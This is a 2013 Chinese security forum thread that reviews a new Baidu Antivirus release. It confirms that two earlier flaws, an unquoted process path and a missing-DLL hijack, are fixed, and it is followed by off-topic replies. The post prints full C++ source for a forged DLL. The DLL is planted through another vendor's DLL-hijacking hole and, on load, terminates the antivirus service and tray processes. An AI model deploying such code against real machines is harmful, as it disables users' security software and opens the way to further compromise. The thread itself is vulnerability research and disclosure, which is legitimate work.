首页
社区
课程
招聘
[原创]BD杀毒新版评测
发表于: 2013-6-3 23:11 16290

[原创]BD杀毒新版评测

2013-6-3 23:11
16290
今天才看到BD杀毒软件发布了一个新版本,于是就想看看上个版本发现的一些脆弱性BUG有没有得到修复

已知上个版本的两个BUG。

1.CreateProcess对参数lpCmdLine中的程序路径没有使用双引号阻止隔断,导致可在BD杀毒软件的安装分区根目录下放置一个Program.exe命名的任意文件就可以废掉BaidusdSvc和Baidusd两个程序。

2.升级模块存在Dll劫持漏洞,原因是升级过程中去加载了一个updlog.dll,但是这个文件不存在。


刚才安装了最新版本,测试发现
1问题已经彻底修改,没有再出现空格截断这个问题。

2问题用ApiMonitor跑了几圈,发现已经不会去加载这个DLL了,剩余几个不存在的DLL都是在安装目录下,因为有文件系统保护,所以已经不存在劫持了。

本以为十分完美了,然后又尝试了一下结束BD杀毒相关进程的代码,直接结束还是权限不够。
然后就祭出白加黑,用xx电脑管家的Dll劫持漏洞,去取得高级进程权限,然后尝试干掉BD杀毒进程,然后,然后就成功了。。。。

伪造个模块,代码如下,具体哪个模块不便公开。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <Windows.h>
#include <tchar.h>
#include <Psapi.h>
#include <Tlhelp32.h.>

#pragma comment (lib, "psapi.lib")

HANDLE GetProcessHandleByName(LPCTSTR lpProcessName);
VOID KillBdsd();

BOOL APIENTRY DllMain( HMODULE hModule,
					  DWORD  ul_reason_for_call,
					  LPVOID lpReserved
					  )
{
	DisableThreadLibraryCalls(hModule);

	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		{
			KillBdsd();
			break;
		}
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}

	return FALSE;
}


VOID KillBdsd()
{
	HANDLE hProcess = NULL;

	hProcess = GetProcessHandleByName(_T("BaidusdSvc.exe"));
	if (NULL == hProcess)
	{
		MessageBox(GetDesktopWindow(), 
			_T("打开进程BaidusdSvc失败!"), 
			NULL, 
			MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
	}
	else
	{
		if (FALSE == TerminateProcess(hProcess, 0))
		{
			MessageBox(GetDesktopWindow(), 
				_T("关闭进程BaidusdSvc失败!"), 
				NULL, 
				MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
		}
		else
		{
			MessageBox(GetDesktopWindow(), 
				_T("进程BaidusdSvc已终止!"), 
				NULL, 
				MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
		}

		CloseHandle(hProcess);
	}


	hProcess = GetProcessHandleByName(_T("BaidusdTray.exe"));
	if (NULL == hProcess)
	{
		MessageBox(GetDesktopWindow(), 
			_T("打开进程BaidusdTray失败!"), 
			NULL, 
			MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
	}
	else
	{
		if (FALSE == TerminateProcess(hProcess, 0))
		{
			MessageBox(GetDesktopWindow(), 
				_T("关闭进程BaidusdTray失败!"), 
				NULL, 
				MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
		}
		else
		{
			MessageBox(GetDesktopWindow(), 
				_T("进程BaidusdTray已关闭!"), 
				NULL, 
				MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
		}

		CloseHandle(hProcess);
	}

}


HANDLE GetProcessHandleByName(LPCTSTR lpProcessName)
{
	HANDLE hProcess = NULL;

	HANDLE hSnapShot = NULL;
	PROCESSENTRY32 pe32;

	ZeroMemory(&pe32, sizeof(PROCESSENTRY32));
	pe32.dwSize = sizeof(PROCESSENTRY32);

	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	if (INVALID_HANDLE_VALUE != hSnapShot)
	{
		Process32First(hSnapShot, &pe32);
		do
		{
			if (pe32.th32ProcessID == 0 || pe32.th32ProcessID == GetCurrentProcessId())
			{
				continue;
			}

			if ( 0 == _tcsicmp(pe32.szExeFile, lpProcessName))
			{
				hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
				break;
			}

		}while(Process32Next(hSnapShot, &pe32));

		CloseHandle(hSnapShot);
	}

	return hProcess;
}


然后把这个模块丢到系统目录下。

然后看图。。



后来又测试了一下普通进程,拿到Debug权限之后也是可以结束BD杀毒的服务进程和托盘进程的,当然前提是需要先关掉BD杀毒的自我保护。

反观其他一些杀软或者安全软件,就算关闭自我保护,还是不能terminate他的进程的。
BD业界良心啊。。。

[课程]FART 脱壳王!加量不加价!FART作者讲授!

上传的附件:
收藏
免费 5
支持
分享
最新回复 (21)
雪    币: 298
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
沙发,看标题以为是bitdefender~哈。
2013-6-4 08:22
0
雪    币: 1149
活跃值: (833)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
3
......................
2013-6-4 09:01
0
雪    币: 98
活跃值: (59)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
求细胞层测评分析报告!
2013-6-4 11:01
0
雪    币: 2177
活跃值: (2045)
能力值: (RANK:400 )
在线值:
发帖
回帖
粉丝
5
百度杀毒刚出来,有不足之处在所难免,和谐讨论才是王道~~
2013-6-4 11:06
0
雪    币: 11
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
来个溢出 ~~~
2013-6-4 12:16
0
雪    币: 3894
活跃值: (2532)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
最后一句诙谐幽默
2013-6-4 14:01
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
8
擦,
你想多了,我只是表述一下各个厂商对产品行为的细节策略而已。
彻底关闭所有保护也是无可厚非的,只不过是自我保护的界定范围不同而已。
2013-6-4 14:10
0
雪    币: 114
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
作为一款不是十分成熟的产品急于推出,从使用者角度讲:用户体验差,不顾及用户感受,是对用户的不尊重。如果单纯是一款简单的应用,这还算不上什么。但是百度推出的是杀毒产品,是一款安全软件,如果用户轻信安装了你的产品,导致用户利益受损,这将不仅仅是道德层面的问题,甚至可能上升到法律层面;从公司角度来讲,市场上同类产品已经相对饱和且较为成熟,用户粘合度也高,这时作为知名it企业急忙忙推出这样一款不成熟的产品不仅达不到抢占市场,扩大品牌影响力的目的,甚至适得其反,使人们对百度品牌的心理预期又下一个台阶。纵观百度近些年的所谓“战略”实在是稀里糊涂,而其内部却疯狂鼓吹“Robin”的 英明神武 高瞻远瞩····作为最不能缺乏忧患意识和创新精神的互联网行业,百度的企业文化和产品表现真的是让人唏嘘不已····说这么多不会被当360的枪手吧?声明:我已不用360好多年····
2013-6-4 15:46
0
雪    币: 90
活跃值: (91)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
虽然经常用百度搜索,但是经常搜出来莫名其妙的企业级广告,反观google,专业就是专业..
问题是google经常打不开,太md和谐了
2013-6-4 17:47
0
雪    币: 11
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
输入https:\\www.google.com
任何时候任何内容都能轻松搜索
2013-6-4 17:52
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
12
- -
大家不要再把讨论偏离了技术吧。。。
我这只是简单的做了下BUG验证,没想到这篇文章会被推荐,也引起大家的诸多对于厂家的讨论。
可以看到厂家还是很积极,及时,努力的在修正错误,这点是值得肯定的。
嗯不要歪楼了。。
2013-6-4 19:41
0
雪    币: 967
活跃值: (1138)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
13
太牛逼了 你怎么知道的?你给我签个名吧
2013-6-4 19:53
0
雪    币: 11
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
额……
这个不是大家都知道麽?
2013-6-4 20:18
0
雪    币: 220
活跃值: (701)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
https:\\www.google.com

我这已经没效果了,自动转到http://www.google.com.hk/了,草
2013-6-5 11:44
0
雪    币: 967
活跃值: (1138)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
16
用这个 https://www.google.com
2013-6-5 11:45
0
雪    币: 27
活跃值: (90)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
17
原来是百度杀毒..
2013-6-5 22:11
0
雪    币: 95
活跃值: (85)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
18
BD难道不是BitDefender吗?
2013-6-6 11:04
0
雪    币: 224
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
19
呵呵 以为是BidDefender的路过
顶 楼主分享精神
2013-6-6 11:50
0
雪    币: 257
活跃值: (36)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
做还不做好点, 作出个烂东西
2013-6-6 22:25
0
雪    币: 162
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
这个问题新版本已经修复过了,请楼主到http://shadu.baidu.com下载新版本体验。
2013-6-8 14:14
0
雪    币: 101
活跃值: (43)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
22
先在不被屏蔽的时候访问www.google.com/ncr  打开后再进https的就不会自动跳转了
2013-6-9 21:31
0
游客
登录 | 注册 方可回帖
返回
//